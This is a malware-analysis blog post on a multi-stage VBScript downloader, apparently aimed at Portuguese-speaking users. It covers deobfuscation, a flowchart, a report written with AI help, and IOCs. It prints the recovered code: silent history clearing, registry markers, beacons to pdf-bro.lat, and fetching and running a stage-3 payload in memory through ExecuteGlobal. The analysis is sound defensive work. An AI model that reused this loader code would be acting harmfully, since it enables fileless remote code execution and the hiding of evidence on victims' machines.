Nikhil "Kaido" Hegde

M&M: Malware and Musings

View on GitHub

Source

Analysis

Obfuscation

There were various forms of obfuscation used in the VBScript.

v7780c = Chr(104) & Chr(116) & Chr(116) & Chr(112) & Chr(115)   ' "https"
v4336u = Chr(77) & Chr(83) & Chr(88) & Chr(77) & Chr(76)        ' "MSXML"
v4702w = Chr(112)                                                 ' "p"
v7780c = Chr(104) & Chr(116) & Chr(116) & Chr(112) & Chr(115)   ' "https"
v3073c = Chr(58) & Chr(47) & Chr(47)                             ' "://"
v7682o = Chr(112) & Chr(100) & "f-b"                             ' "pdf-b"
v1075f = Chr(114) & "o.l"                                        ' "ro.l"
v6545e = Chr(97) & Chr(116) & "/re"                              ' "at/re"
v2505g = Chr(103) & Chr(105) & Chr(115) & Chr(116) & Chr(114)   ' "gistr"
v1663h = "ar."
v4956k = Chr(112) & Chr(104) & Chr(112) & Chr(63) & Chr(97)     ' "php?a"
v1400n = "cao=" & Chr(108)                                       ' "cao=l"
v8435b = Chr(111) & Chr(103)                                     ' "og"
DjmNW = v7780c & v3073c & v7682o & v1075f & v6545e & v2505g & v1663h & v4956k & v1400n & v8435b
' => "https://pdf-bro.lat/registrar.php?acao=log"
Function ttaffRy(s)
    ttaffRy = Replace(s, "@", "")
End Function

Set uecSSL = CreateObject(ttaffRy("WScr@i@pt@.S@@h@@e@ll"))
' "WScr@i@pt@.S@@h@@e@ll" => "WScript.Shell"

uecSSL.Run ttaffRy("Ru@@n@D@@l@@l32.@@e@x@@e @@In@e@@t@C@@pl@@.@@cp@@l,@Cle@@a@@r@@M@y@Tr@a@c@ks@ByPr@oce@s@s 8"), 0, True
' "Ru@@n@D@@l@@l32..." => "RunDll32.exe InetCpl.cpl,ClearMyTracksByProcess 8"

Deobfuscation

Utilities: https://github.com/nikhilh-20/re_tools/tree/main/vbs

> python .\vbs_fold_chr_calls.py --input C:\Users\Ashura\Desktop\cef108df7267250b66dca8e6ab87a629591b9840f27e3ab1821248ebfe2cdb1f.vbs --output C:\Users\Ashura\Desktop\cef108df7267250b66dca8e6ab87a629591b9840f27e3ab1821248ebfe2cdb1f_pass1.vbs
{"changed":188,"input_bytes":6413,"output_bytes":5576,"output_path":"C:\\Users\\Ashura\\Desktop\\cef108df7267250b66dca8e6ab87a629591b9840f27e3ab1821248ebfe2cdb1f_pass1.vbs"}

> python .\vbs_fold_concat.py --input C:\Users\Ashura\Desktop\cef108df7267250b66dca8e6ab87a629591b9840f27e3ab1821248ebfe2cdb1f_pass1.vbs --output C:\Users\Ashura\Desktop\cef108df7267250b66dca8e6ab87a629591b9840f27e3ab1821248ebfe2cdb1f_pass2.vbs

> python .\vbs_propagate_constants.py --input C:\Users\Ashura\Desktop\cef108df7267250b66dca8e6ab87a629591b9840f27e3ab1821248ebfe2cdb1f_pass2.vbs --output C:\Users\Ashura\Desktop\cef108df7267250b66dca8e6ab87a629591b9840f27e3ab1821248ebfe2cdb1f_pass3.vbs
{"changed":106,"substituted_reads":106,"input_bytes":4916,"output_bytes":5169,"output_path":"C:\\Users\\Ashura\\Desktop\\cef108df7267250b66dca8e6ab87a629591b9840f27e3ab1821248ebfe2cdb1f_pass3.vbs"}

> python .\vbs_inline_functions.py --input C:\Users\Ashura\Desktop\cef108df7267250b66dca8e6ab87a629591b9840f27e3ab1821248ebfe2cdb1f_pass3.vbs --output C:\Users\Ashura\Desktop\cef108df7267250b66dca8e6ab87a629591b9840f27e3ab1821248ebfe2cdb1f_pass4.vbs
{"changed":3,"functions_inlined":1,"input_bytes":5169,"output_bytes":5140,"output_path":"C:\\Users\\Ashura\\Desktop\\cef108df7267250b66dca8e6ab87a629591b9840f27e3ab1821248ebfe2cdb1f_pass4.vbs"}

> python .\vbs_fold_builtin_calls.py --input C:\Users\Ashura\Desktop\cef108df7267250b66dca8e6ab87a629591b9840f27e3ab1821248ebfe2cdb1f_pass4.vbs --output C:\Users\Ashura\Desktop\cef108df7267250b66dca8e6ab87a629591b9840f27e3ab1821248ebfe2cdb1f_pass5.vbs
{"changed":3,"input_bytes":5140,"output_bytes":5026,"output_path":"C:\\Users\\Ashura\\Desktop\\cef108df7267250b66dca8e6ab87a629591b9840f27e3ab1821248ebfe2cdb1f_pass5.vbs"}

> python .\vbs_remove_deadcode.py --input C:\Users\Ashura\Desktop\cef108df7267250b66dca8e6ab87a629591b9840f27e3ab1821248ebfe2cdb1f_pass5.vbs --output C:\Users\Ashura\Desktop\cef108df7267250b66dca8e6ab87a629591b9840f27e3ab1821248ebfe2cdb1f_pass6.vbs
{"changed":114,"input_bytes":5028,"output_bytes":2216,"output_path":"C:\\Users\\Ashura\\Desktop\\cef108df7267250b66dca8e6ab87a629591b9840f27e3ab1821248ebfe2cdb1f_pass6.vbs"}

> python .\vbs_fold_concat.py --input C:\Users\Ashura\Desktop\cef108df7267250b66dca8e6ab87a629591b9840f27e3ab1821248ebfe2cdb1f_pass6.vbs --output C:\Users\Ashura\Desktop\cef108df7267250b66dca8e6ab87a629591b9840f27e3ab1821248ebfe2cdb1f_pass7.vbs
{"changed":2,"input_bytes":2218,"output_bytes":2186,"output_path":"C:\\Users\\Ashura\\Desktop\\cef108df7267250b66dca8e6ab87a629591b9840f27e3ab1821248ebfe2cdb1f_pass7.vbs"}

> python .\vbs_strip_comments.py --input C:\Users\Ashura\Desktop\cef108df7267250b66dca8e6ab87a629591b9840f27e3ab1821248ebfe2cdb1f_pass7.vbs --output C:\Users\Ashura\Desktop\cef108df7267250b66dca8e6ab87a629591b9840f27e3ab1821248ebfe2cdb1f_pass8.vbs
{"changed":2,"comment_lines_removed":2,"input_bytes":2188,"output_bytes":2126,"output_path":"C:\\Users\\Ashura\\Desktop\\cef108df7267250b66dca8e6ab87a629591b9840f27e3ab1821248ebfe2cdb1f_pass8.vbs"}

Functionality

Prompt

/malware-analysis Analyze @C:\Users\Ashura\Desktop\cef108df7267250b66dca8e6ab87a629591b9840f27e3ab1821248ebfe2cdb1f_pass8.vbs. Write report in markdown format into @report.md It should contain the below sections:

1. Executive summary
2. Details - avoid variable names granularity. retain behavioral specifics like created folder names, C2 contact, etc.
3. IOCs

Reference the source code when stating functionality. Like:
```<source_code>```
<functionality>

Use multiple Haiku sub-agents to confirm your findings. Use web search to ground your facts and assumptions.

Flowchart Prompt

Based on @C:\Users\Ashura\Desktop\report.md, can a Mermaid flowchart be written into FLOW.mmd? Keep the flowchart in natural language. Avoid variable name granularity. You can retain created folder names and contacted C2

Flowchart

flowchart TD
    START([Script begins]) --> ANTIFOREN

    ANTIFOREN["Clear offline favorites and download history<br/>RunDll32 InetCpl.cpl,ClearMyTracksByProcess 8"]
    ANTIFOREN --> BEACON2

    BEACON2["Send stage-2 check-in beacon to pdf-bro.lat<br/>registrar.php — acao=log, status=estagio2<br/>Response is not read"]
    BEACON2 --> REGISTRY

    REGISTRY["Write registry markers<br/>HKCU\\Software\\FluxEngine\\Desktop<br/>taskm = 360761F15794<br/>src = pdf-bro.lat"]
    REGISTRY --> FINGERPRINT

    FINGERPRINT["Derive 8-character machine fingerprint<br/>Rolling hash over hostname + username<br/>Produces a lowercase alphabetic identifier"]
    FINGERPRINT --> MARKERCHECK

    MARKERCHECK{"FileExists called with False instead of path<br/>Operator precedence defect — always evaluates False<br/>Intended check: %APPDATA%\\HWiN\\machine-hash"}

    MARKERCHECK -- "Yes (dead code — never reached)" --> ALREADYBEACON
    ALREADYBEACON["Send already-installed beacon to pdf-bro.lat<br/>registrar.php — status=ja_instalado + username"]
    ALREADYBEACON --> EXIT([Exit])

    MARKERCHECK -- No --> FETCH3
    FETCH3["Fetch stage-3 payload from pdf-bro.lat<br/>h/estagio3.php"]
    FETCH3 --> HTTP200

    HTTP200{"HTTP 200 response?"}
    HTTP200 -- No --> NOTHING([End — payload not delivered])
    HTTP200 -- Yes --> EXECMEM

    EXECMEM["Execute stage-3 payload in memory<br/>ExecuteGlobal — no file written to disk"]
    EXECMEM --> STAGE3([Stage-3 payload now running in memory])

Report

Executive Summary

This sample is a VBScript downloader used in a multi-stage infection chain, most likely delivered as part of a phishing lure themed around a fake PDF viewer or reader based on the command-and-control domain name pdf-bro.lat. Portuguese-language parameters embedded in its network requests (acao, estagio, ja_instalado) strongly indicate the campaign targets Brazilian/Portuguese-speaking users, a pattern consistent with the broader family of LatAm multi-stage VBScript downloaders (e.g., Astaroth/Guildma-style loaders). No public threat-intelligence record for this specific domain or hash was found at analysis time, so no specific family name is asserted.

On execution, the script:

  1. Wipes offline favorites and download history from Internet Explorer as a light anti-forensics step.
  2. Beacons to a remote PHP endpoint to report that “stage 2” has run.
  3. Fingerprints the infected machine (hostname + username) into a short deterministic identifier.
  4. Writes tracking values to the registry recording the C2 domain and a campaign/build identifier.
  5. Attempts to check for a per-machine marker file (%APPDATA%\HWiN\<machine-hash>) to detect prior infection — but a code defect (see §2.5) causes the file path to be lost before the check runs, making this branch dead code that is always bypassed.
  6. Otherwise, downloads a “stage 3” script from the same C2 and executes it directly in memory via ExecuteGlobal (no payload written to disk), making this a fileless downloader/loader stage rather than the final payload.

No credential theft, encryption, or destructive routines are present in this script — its sole purpose is reconnaissance beaconing, infection tracking, and fetching/executing the next stage. The actual malicious payload lives in the estagio3.php response, which was not retrieved during this analysis (C2 contact was out of scope).


Details

Anti-forensics: clearing offline favorites and download history
Set uecSSL = CreateObject(("WScript.Shell"))
uecSSL.Run ("RunDll32.exe InetCpl.cpl,ClearMyTracksByProcess 8"), 0, True

Before doing anything else, the script silently (window style 0) and synchronously (blocking True) invokes the built-in Internet Options “clear browsing data” routine via InetCpl.cpl. The numeric flag is a bitmask: flag 8 (CLEAR_CACHE_ALL, hex 0x0008) corresponds to offline favorites and download history — it does not clear browsing history (0x0001), cookies (0x0002), or temporary internet files (0x0004). This selectively removes artifacts of the delivery chain (e.g., history of downloading the initial dropper) while leaving other session data intact.

Machine fingerprinting
Function GetPCHash()
    Dim raw, i, h, sh
    On Error Resume Next
    Set sh = CreateObject(("WScript.Shell"))
    raw = sh.ExpandEnvironmentStrings("%COMPUTERNAME%") & sh.ExpandEnvironmentStrings("%USERNAME%")
    If Len(raw) < 4 Then raw = "PCDEFAULT123"
    h = 7
    For i = 1 To Len(raw)
        h = ((h * 31) + Asc(Mid(raw, i, 1))) Mod 100000
    Next
    GetPCHash = ""
    For i = 1 To 8
        GetPCHash = GetPCHash & Chr((h Mod 26) + 97)
        h = ((h * 31) + i) Mod 100000
    Next
End Function

This function concatenates the computer name and username, then applies a rolling polynomial hash (seed 7, multiplier 31, modulus 100000) over each character. A second loop of 8 iterations extracts the low-order digit of h, maps it to a lowercase ASCII letter (az), appends it to the accumulating result, and advances h — producing a fixed 8-character lowercase alphabetic identifier that is deterministic per victim machine. This is not a cryptographic hash; it is a cheap per-victim ID the operator uses to correlate check-ins and scope artifacts to a specific machine.

Initial C2 check-in (“stage 2” beacon)
Set udYRrL = CreateObject("MSXML2.ServerXMLHTTP.6.0")
If Err.Number <> 0 Then
    Err.Clear
    Set udYRrL = CreateObject("MSXML2.XMLHTTP.6.0")
End If
udYRrL.Open "GET", "https://pdf-bro.lat/registrar.php?acao=log&status=estagio2", False
udYRrL.Send

An HTTP GET is sent synchronously (False for async) to registrar.php with acao=log&status=estagio2 (Portuguese: “action=log, status=stage2”). The response is neither read nor acted upon — this is a pure logging/telemetry beacon signalling to the operator that this stage of the chain executed on a victim. The script prefers MSXML2.ServerXMLHTTP.6.0 over the standard MSXML2.XMLHTTP.6.0: unlike the latter, ServerXMLHTTP bypasses WinINET/Internet Explorer proxy settings and uses its own independent HTTP stack, making outbound C2 traffic harder to intercept via corporate proxy logging. The fallback to XMLHTTP ensures compatibility on systems where ServerXMLHTTP is unavailable.

Registry markers
Set WqNs = CreateObject("WScript.Shell")
WqNs.RegWrite "HKCU\Software\FluxEngine\Desktop\taskm", "360761F15794", "REG_SZ"
WqNs.RegWrite "HKCU\Software\FluxEngine\Desktop\src", "pdf-bro.lat", "REG_SZ"

Two string values are written under the per-user registry key HKCU\Software\FluxEngine\Desktop\:

HKCU\Software\FluxEngine does not correspond to any legitimate installed software on a standard Windows system and has no public attribution to a specific named malware family — it appears to be a namespace chosen by the author as a private configuration store.

Deobfuscation artifact — anomalous merged line
uXMaDCd = WqNs.ExpandEnvironmentStrings("%APPDATA%\HWiN")
mRrYYUS = GetPCHash()
WYnPPV = uXMaDCd & "\" & mRrYYUS & ZvagbKZTqP = WqNs.ExpandEnvironmentStrings("%COMPUTERNAME%")
LLxSd = WqNs.ExpandEnvironmentStrings("%USERNAME%")

VBScript’s & (string concatenation) has higher precedence than = when = appears inside an expression. The statement-level assignment operator is always the leftmost =; any subsequent = is parsed as comparison. The line therefore evaluates as:

WYnPPV = (uXMaDCd & "\" & mRrYYUS & ZvagbKZTqP) = WqNs.ExpandEnvironmentStrings("%COMPUTERNAME%")
           ──────────── concatenation, done first ───────────  ←comparison→  ────────────────────

ZvagbKZTqP was never previously assigned, so it is Empty, which coerces to "" in string context. The concatenated value therefore becomes the intended file path (%APPDATA%\HWiN\<machine-hash>). That string is then compared — not assigned — to %COMPUTERNAME%. A file path and a hostname are never equal, so the comparison always yields False. WYnPPV is assigned the Boolean False, not the marker file path.

Practical consequence: FileExists(False) coerces False to the string "False" (see §2.6 below), checking for a file literally named "False" in the current working directory. This check virtually never succeeds. The anti-reinfection branch (§2.6) is always bypassed — the script always proceeds to fetch and execute stage-3.

Already-infected check and deduplication beacon
Set ZeuMu = CreateObject("Scripting.FileSystemObject")
If ZeuMu.FileExists(WYnPPV) Then
    Set udYRrL = CreateObject("MSXML2.ServerXMLHTTP.6.0")
    If Err.Number <> 0 Then
        Err.Clear
        Set udYRrL = CreateObject("MSXML2.XMLHTTP.6.0")
    End If
    udYRrL.Open "GET", "https://pdf-bro.lat/registrar.php?acao=log" & "&status=ja_instalado&pc=" & ZTqP & "&user=" & LLxSd, False
    udYRrL.Send
    WScript.Quit
End If

This branch is dead code in practice: as established in §2.5, WYnPPV holds the Boolean False rather than the marker file path, so FileExists(False) checks for a file named "False" and virtually never succeeds. The block is nevertheless included here to document the operator’s intent — checking for a per-machine marker file at %APPDATA%\HWiN\<machine-hash> and, if found, reporting status=ja_instalado (“already installed” in Portuguese) with the username to registrar.php before exiting. The pc= hostname field in the beacon URL references an undefined variable (ZTqP) and would be blank even if the branch were reached. Since this check always fails, the script unconditionally proceeds to stage-3 fetch; any deduplication of repeat infections must therefore occur on the C2 side or within the stage-3 payload itself. This script never creates the marker file.

Stage-3 fetch and in-memory execution
Set wGCZwbQ = CreateObject("MSXML2.ServerXMLHTTP.6.0")
If Err.Number <> 0 Then
    Err.Clear
    Set wGCZwbQ = CreateObject("MSXML2.XMLHTTP.6.0")
End If

wGCZwbQ.Open "GET", "https://pdf-bro.lat/h/estagio3.php", False
wGCZwbQ.Send

If wGCZwbQ.status = 200 Then
    Jmfgq = wGCZwbQ.responseText
    ExecuteGlobal Jmfgq
End If

On an HTTP 200 response from https://pdf-bro.lat/h/estagio3.php, the returned text is executed as VBScript directly via ExecuteGlobalno file is written to disk. ExecuteGlobal runs the fetched code in the current script host’s global scope, giving it full access to all variables and objects already defined in this script. This is the core fileless downloader behavior: the next-stage payload is delivered remotely and only at runtime — the estagio3.php response was not retrieved as part of this analysis.


IOCs

All indicators below are defanged.

Type Indicator Purpose
Domain pdf-bro[.]lat C2 / staging domain
URL hxxps://pdf-bro[.]lat/registrar[.]php?acao=log&status=estagio2 Stage-2 check-in beacon (no response consumed)
URL hxxps://pdf-bro[.]lat/registrar[.]php?acao=log&status=ja_instalado&pc=<hostname>&user=<username> “Already installed” dedup beacon (intended; dead code — never fires due to §2.5 defect)
URL hxxps://pdf-bro[.]lat/h/estagio3[.]php Stage-3 payload fetch (fileless, executed via ExecuteGlobal)
Type Indicator Purpose
Registry value HKCU\Software\FluxEngine\Desktop\taskm = 360761F15794 Campaign/build ID marker
Registry value HKCU\Software\FluxEngine\Desktop\src = pdf-bro[.]lat Stored C2 domain
File path pattern %APPDATA%\HWiN\<8-char lowercase machine hash> Intended per-victim marker file; check is non-functional in this script due to §2.5 defect — path is never constructed correctly
Command line RunDll32.exe InetCpl.cpl,ClearMyTracksByProcess 8 Clears offline favorites and IE download history (anti-forensics)